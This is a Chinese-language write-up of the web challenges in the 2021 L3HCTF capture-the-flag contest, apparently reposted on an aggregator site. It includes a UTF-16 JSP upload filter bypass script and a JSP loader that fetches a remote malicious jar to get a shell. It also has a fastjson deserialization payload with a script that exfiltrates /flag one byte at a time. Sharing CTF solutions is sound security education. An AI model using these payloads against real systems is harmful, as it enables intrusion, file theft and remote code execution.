[2021XCTF]L3HCTF-Writeup(Web)

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[2021XCTF]L3HCTF-Writeup(Web)相关的知识,希望对你有一定的参考价值。

写在前面

这周刚好比较空就抽了点时间打了下,质量挺高的还是

Web

Image Service 1

首先我不会go逆向,也不可能逆向,什么快乐elf看不见注册个账号,发现密码不能是admin
进去可以上传图片
flag在admin账户上传的图片中 源码都被编译了
感觉在任何地方输入admin 都会被ban,

伪造header也都不行
f12我查看源码的时候发现居然是支持表单提交

不会逆向go,那无源码情况下只能靠渗透时候的一些思路,
通过数组、变异payload、多空格等尝试,最终发现可以通过00截断,成功绕过后端检验

访问第二个url,拿到flag1

Image Service 2

后面发现附件更新,有了flag2的uuid

我尝试了下本地修改伪造token似乎不太行,可能与其他不知道的参数有关

也发现无论repeat多少次,只要别的参数都一样 token 就一样,而且相同图片的uid分享后不会变
之后无意间看到docker日志,这里输出了两个token的值,觉得这里很奇怪

结合上面那一条日志猜想会不会传类似日志中map方式可以绕过,确实有效果很神奇,原本的blur模糊参数空间被屏蔽了

此时也是输出两个相同token,说明我们确实成功了

同理接下来我们只要能屏蔽x1坐标的值,就能得到flag

最后去题目环境下拿到flag
首先获取token

屏蔽参数获取flag

Easy php

比较奇怪的现象,双击username没问题

password就有问题
整行复制后编码可以看到这里多了一些神奇的字符

只恢复[],""等字符,并删除注释,最终恢复出来是这个

按照上图中方式传参数,成功拿到flag

bypass

后缀用jsjspp绕过 主要还是文件内容

public static boolean checkValidChars(String content) {
    Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
    Matcher matcher = pattern.matcher(content);
    return matcher.find();
}

主要还是绕文件内容的检测了,绕可见字符的检测,还有一个BlackWordsDetect

就很好奇为什么正则过了还有黑名单 ,只能说明一点,那就是最终写入的一定是一个正常的文件,这个时候,试试能否通过转换编码为utf-16,写个脚本

#coding:utf-8
import requests

def uploads(filedata, filename):
    with open(filename, 'wb') as f:
        f.write(filedata)

    r = requests.post('http://123.60.20.221:10001/UploadServlet', files={"filename": open(filename, "rb")})

    print(r.text)
    if "文件上传成功! 文件路径: /usr" in r.text:
        url = "http://123.60.20.221:10001/" + r.text.replace(
            "文件上传成功! 文件路径: /usr/local/apache-tomcat-8.5.72/webapps/ROOT/", "")
        print(url)
        r = requests.get(url)
        print(r.text)


if __name__ == '__main__':
    data = '''<% out.print("23333"); %>'''.encode("utf-16")
    uploads(data, "1.jsjspp")

成功输出了结果,说明思路没问题

接下来通过不断的尝试,发现黑名单有Runtime、\\u、ScriptEngine、newInstance、ProcessBuilder、invoke、File、defineClass、lookup,JdbcRowSetImpl等

绕过方法一

绕过也很简单,配合UrlClassLoader与Class.forName在初始化对象时候执行命令

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
    URL url = new URL("http://4xxxx212/abc.jar");

    URLClassLoader ucl = new URLClassLoader(new URL[]{url});

    Class.forName("com.yyds.yy",true,ucl);

%>

首先写一个恶意类,打包jar上传服务器

成功拿到shell,获得flag

绕过方法二

只过滤了小写的lookup,但是还是可以jndi

看静态方法学费了吗

绕过方法N

有些东西就不放出来了,反正绕过很多就是,只能说凡是多想多思考不无脑百度

cover

非预期

发现注册功能失效这时候想到弱口令。这题比较神奇我只能说
后台弱口令,任意用户名/123456

这里看着像有问题

瞎输入报错得到一个版本号

这里结合到题目给了JDK_HOME:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4.x86_64,猜测预期应该是覆盖charsets去rce的,网上链子没搞出来

非预期参考Blackhat议题

这里给了一个让我们读文件的方法,当然不能无脑使用,利用的时候需要有个返回点来判断
当然第一个字母肯定是76,按照flag格式来看

成功了

简单写个脚本跑

# coding:utf-8
import requests
import string

flag = ""
tmp = ""
flagBytes = ""
strings = string.printable
sess = requests.session()
url = "http://124.71.173.23:8088/"
dataLogin = {
    "userName": "y4tacker",
    "password": "123456",
    "email": ""
}
r = sess.post(url + "login", data=dataLogin)
r = sess.get("http://124.71.173.23:8088/main.html")

tmplate = '[{"password":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[76]}]},"address":{"$ref":"$.abc.BOM"}}}]'


while 1:
    for i in strings:
        tmp = (str(ord(i))+",")
        tmplate = '[{"password":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[' + (
                    flagBytes + tmp) + ']}]},"address":{"$ref":"$.abc.BOM"}}}]'
        dataFlag = {
            "data": tmplate
        }
        r = sess.post(url + "dynamic_table", data=dataFlag)

        if b"bOM" in r.content:
            flag += i
            flagBytes += tmp
            print(flag)
            if "}" == i:
                exit(0)
            break
        else:
            pass

最后得到结果

预期方法

fastjson任意写,spi provider rce,暂时不会后面补上

以上是关于[2021XCTF]L3HCTF-Writeup(Web)的主要内容,如果未能解决你的问题,请参考以下文章

[2021XCTF]L3HCTF-Writeup(Web)

XCTF2021决赛wp

xctf攻防世界——crackme writeup

XCTF---easyjava的WriteUp

XCTF练习题---MISC---Banmabanma

xctf - stack2